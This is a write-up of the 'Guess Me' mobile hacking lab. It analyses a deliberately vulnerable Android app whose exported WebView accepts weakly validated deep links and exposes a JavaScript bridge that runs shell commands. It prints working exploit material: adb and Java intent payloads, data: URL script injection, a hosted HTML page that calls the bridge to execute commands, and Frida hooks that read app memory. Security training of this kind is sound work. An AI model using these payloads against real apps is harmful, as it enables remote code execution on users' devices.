Post

Guess Me - Mobile Hacking Lab

Guess Me - Mobile Hacking Lab


Introduction

Welcome to the “Guess Me” Deep Link Exploitation Challenge! Immerse yourself in the world of cybersecurity with this hands-on lab. This challenge revolves around a fictitious “Guess Me” app, shedding light on a critical security flaw related to deep links that can lead to remote code execution within the app’s framework.


Objective

Exploit a Deep Link Vulnerability for Remote Code Execution: Your mission is to manipulate the deep link functionality in the “Guess Me” Android application, allowing you to execute remote code and gain unauthorized access.


Analyzing the application using JADX

From: AndroidManifest.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<activity
    android:name="com.mobilehackinglab.guessme.MainActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.MAIN"/>
        <category android:name="android.intent.category.LAUNCHER"/>
    </intent-filter>
</activity>
<activity
    android:name="com.mobilehackinglab.guessme.WebviewActivity"
    android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW"/>
        <category android:name="android.intent.category.DEFAULT"/>
        <category android:name="android.intent.category.BROWSABLE"/>
        <data
            android:scheme="mhl"
            android:host="mobilehackinglab"/>
    </intent-filter>
</activity>


From: com.mobilehackinglab.guessme.WebviewActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package com.mobilehackinglab.guessme;

public final class WebviewActivity extends AppCompatActivity {
    private WebView webView;

    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        WebSettings webSettings = webView.getSettings();
        Intrinsics.checkNotNullExpressionValue(webSettings, "getSettings(...)");
        webSettings.setJavaScriptEnabled(true);
        WebView webView3 = this.webView;
        if (webView3 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("webView");
            webView3 = null;
        }
        webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");
        WebView webView4 = this.webView;
        if (webView4 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("webView");
            webView4 = null;
        }
        webView4.setWebViewClient(new WebViewClient());
        WebView webView5 = this.webView;
        if (webView5 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("webView");
        } else {
            webView2 = webView5;
        }
        webView2.setWebChromeClient(new WebChromeClient());
        loadAssetIndex();
        handleDeepLink(getIntent());
    }

}


JavaScript Enabled:

1
webSettings.setJavaScriptEnabled(true);

This line allows the WebView to execute JavaScript code — which is often dangerous if not handled properly.

addJavascriptInterface():

1
webView3.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");

This binds the MyJavaScriptInterface() class to the WebView JavaScript context with the object name AndroidBridge.



1
2
3
4
5
6
7
private final boolean isValidDeepLink(Uri uri) {
    if ((!Intrinsics.areEqual(uri.getScheme(), "mhl") && !Intrinsics.areEqual(uri.getScheme(), "https")) || !Intrinsics.areEqual(uri.getHost(), "mobilehackinglab")) {
        return false;
    }
    String queryParameter = uri.getQueryParameter("url");
    return queryParameter != null && StringsKt.endsWith$default(queryParameter, "mobilehackinglab.com", false, 2, (Object) null);
}

The app only allows deep links with the following format:

1
2
mhl://mobilehackinglab?url=someurl.mobilehackinglab.com
https://mobilehackinglab?url=someurl.mobilehackinglab.com

It checks:

  1. scheme → Must be mhl or https
  2. host → Must be mobilehackinglab
  3. url query parameter → Must end with mobilehackinglab.com



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
    private final void handleDeepLink(Intent intent) {
        Uri uri = intent != null ? intent.getData() : null;
        if (uri != null) {
            if (isValidDeepLink(uri)) {
                loadDeepLink(uri);
            } else {
                loadAssetIndex();
            }
        }
    }

    private final void loadDeepLink(Uri uri) {
        String fullUrl = String.valueOf(uri.getQueryParameter("url"));
        WebView webView = this.webView;
        WebView webView2 = null;
        if (webView == null) {
            Intrinsics.throwUninitializedPropertyAccessException("webView");
            webView = null;
        }
        webView.loadUrl(fullUrl);
        WebView webView3 = this.webView;
        if (webView3 == null) {
            Intrinsics.throwUninitializedPropertyAccessException("webView");
        } else {
            webView2 = webView3;
        }
        webView2.reload();
    }

    private final void loadAssetIndex() {
        WebView webView = this.webView;
        if (webView == null) {
            Intrinsics.throwUninitializedPropertyAccessException("webView");
            webView = null;
        }
        webView.loadUrl("file:///android_asset/index.html");
    }

    public final class MyJavaScriptInterface {
        public MyJavaScriptInterface() {
        }

        @JavascriptInterface
        public final void loadWebsite(String url) {
            Intrinsics.checkNotNullParameter(url, "url");
            WebView webView = WebviewActivity.this.webView;
            if (webView == null) {
                Intrinsics.throwUninitializedPropertyAccessException("webView");
                webView = null;
            }
            webView.loadUrl(url);
        }

        @JavascriptInterface
        public final String getTime(String Time) {
            Intrinsics.checkNotNullParameter(Time, "Time");
            try {
                Process process = Runtime.getRuntime().exec(Time);
                InputStream inputStream = process.getInputStream();
                Intrinsics.checkNotNullExpressionValue(inputStream, "getInputStream(...)");
                Reader inputStreamReader = new InputStreamReader(inputStream, Charsets.UTF_8);
                BufferedReader reader = inputStreamReader instanceof BufferedReader ? (BufferedReader) inputStreamReader : new BufferedReader(inputStreamReader, 8192);
                String readText = TextStreamsKt.readText(reader);
                reader.close();
                return readText;
            } catch (Exception e) {
                return "Error getting time";
            }
        }
    }

The app exposes two methods to the WebView using the AndroidBridge interface:

  • loadWebsite(String url) → This loads any URL into the WebView.
  • getTime(String Time) → This method directly executes system commands using:
1
Process process = Runtime.getRuntime().exec(Time);



From: assets/index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>

<p id="result">Thank you for visiting</p>

<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>

<script>

    function loadWebsite() {
       window.location.href = "https://www.mobilehackinglab.com/";
    }

    // Fetch and display the time when the page loads
    var result = AndroidBridge.getTime("date");
    var lines = result.split('\n');
    var timeVisited = lines[0];
    var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
    document.getElementById('result').innerText = fullMessage;

</script>

</body>
</html>


From: com.mobilehackinglab.guessme.MyJavaScriptInterface

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public final class MyJavaScriptInterface {
    @JavascriptInterface
    public final String getTime(String time) {
        Intrinsics.checkNotNullParameter(time, "time");
        try {
            Process process = Runtime.getRuntime().exec(new String[]{"/system/bin/sh", "-c", time});
            BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
            StringBuilder output = new StringBuilder();
            while (true) {
                String it = reader.readLine();
                if (it != null) {
                    output.append(it).append("\n");
                } else {
                    reader.close();
                    String sb = output.toString();
                    Intrinsics.checkNotNullExpressionValue(sb, "toString(...)");
                    return StringsKt.trim((CharSequence) sb).toString();
                }
            }
        } catch (Exception e) {
            return "Error getting time and listing files";
        }
    }
}

The getTime() method is exposed to JavaScript via:

1
webView.addJavascriptInterface(new MyJavaScriptInterface(), "AndroidBridge");

The app allows JavaScript to call:

1
AndroidBridge.getTime("command_here")



Using adb

to open google.com in the webview

1
adb shell am start -a android.intent.action.VIEW  -n com.mobilehackinglab.guessme/.WebviewActivity -d "https://mobilehackinglab?url=http://google.com?any=mobilehackinglab.com"



to get RCE:

start python web server

1
python -m http.server


1
 adb shell am start -a android.intent.action.VIEW  -n com.mobilehackinglab.guessme/.WebviewActivity -d "https://mobilehackinglab?url=http://192.168.1.8:8000/guessme.html?any=mobilehackinglab.com"


guessme.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>

<p id="result">Thank you for visiting</p>

<!-- Add a hyperlink with onclick event -->
<a href="#" onclick="loadWebsite()">Visit MobileHackingLab</a>

<script>

    function loadWebsite() {
       window.location.href = "https://www.mobilehackinglab.com/";
    }

    // Fetch and display the time when the page loads
    var result = AndroidBridge.getTime("id");
    var lines = result.split('\n');
    var timeVisited = lines[0];
    var fullMessage = "Thanks for playing the game\n\n Please visit mobilehackinglab.com for more! \n\nTime of visit: " + timeVisited;
    document.getElementById('result').innerText = fullMessage;

</script>

</body>
</html>



Android app PoC


XSS

1
2
3
4
5
6
7
Intent intent = new Intent();
intent.setClassName("com.mobilehackinglab.guessme", "com.mobilehackinglab.guessme.WebviewActivity");

intent.setData(Uri.parse("https://mobilehackinglab?url=data:text/html,<h1>test</h1><script>alert(1)</script><!--mobilehackinglab.com"));

intent.setAction("android.intent.action.VIEW");
startActivity(intent);


direct HTML content in the url

1
2
3
4
5
6
7
8
9
Intent intent = new Intent();
intent.setClassName("com.mobilehackinglab.guessme", "com.mobilehackinglab.guessme.WebviewActivity");


intent.setData(Uri.parse("https://mobilehackinglab?url=data:text/html,<h1>test</h1><div id=\"myDiv\"></div><script>let command = AndroidBridge.getTime(\"id\");document.getElementById(\"myDiv\").innerHTML += command;</script><!--mobilehackinglab.com"));


intent.setAction("android.intent.action.VIEW");
startActivity(intent);


using python server

1
2
3
4
5
6
7
Intent intent = new Intent();
intent.setClassName("com.mobilehackinglab.guessme", "com.mobilehackinglab.guessme.WebviewActivity");

intent.setData(Uri.parse("https://mobilehackinglab?url=http://<ip:port>/guessme.html?any=mobilehackinglab.com"));

intent.setAction("android.intent.action.VIEW");
startActivity(intent);



Get the Secret Number with frida

Getting the secret number is not essential for exploiting the lab, but it serves as additional practice with Frida for better understanding and hands-on experience.

Get the Secret Number With frida

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Java.perform(function() {

        Java.choose('com.mobilehackinglab.guessme.MainActivity',{
        // If an instance has been found
        onMatch: function(instance) {
                send(" The original instance has been identified");
                console.log("[+] Secret Number: " + instance.secretNumber.value);
            
        },
        // Done scanning app memory
        onComplete: function() {
            send("Done scanning the app memory instances");
        }
    });
});

OR

1
2
3
4
5
6
7
8
Java.perform(() => {
    let MainActivity = Java.use("com.mobilehackinglab.guessme.MainActivity");
    MainActivity.validateGuess.implementation = function () {
        console.log(`validateGuess is called`);
        console.log(`secretNumber: ${this.secretNumber.value}`);
        this.validateGuess();
    };
});


1
frida -U -f com.mobilehackinglab.guessme -l getSecret.js
This post is licensed under CC BY 4.0 by the author.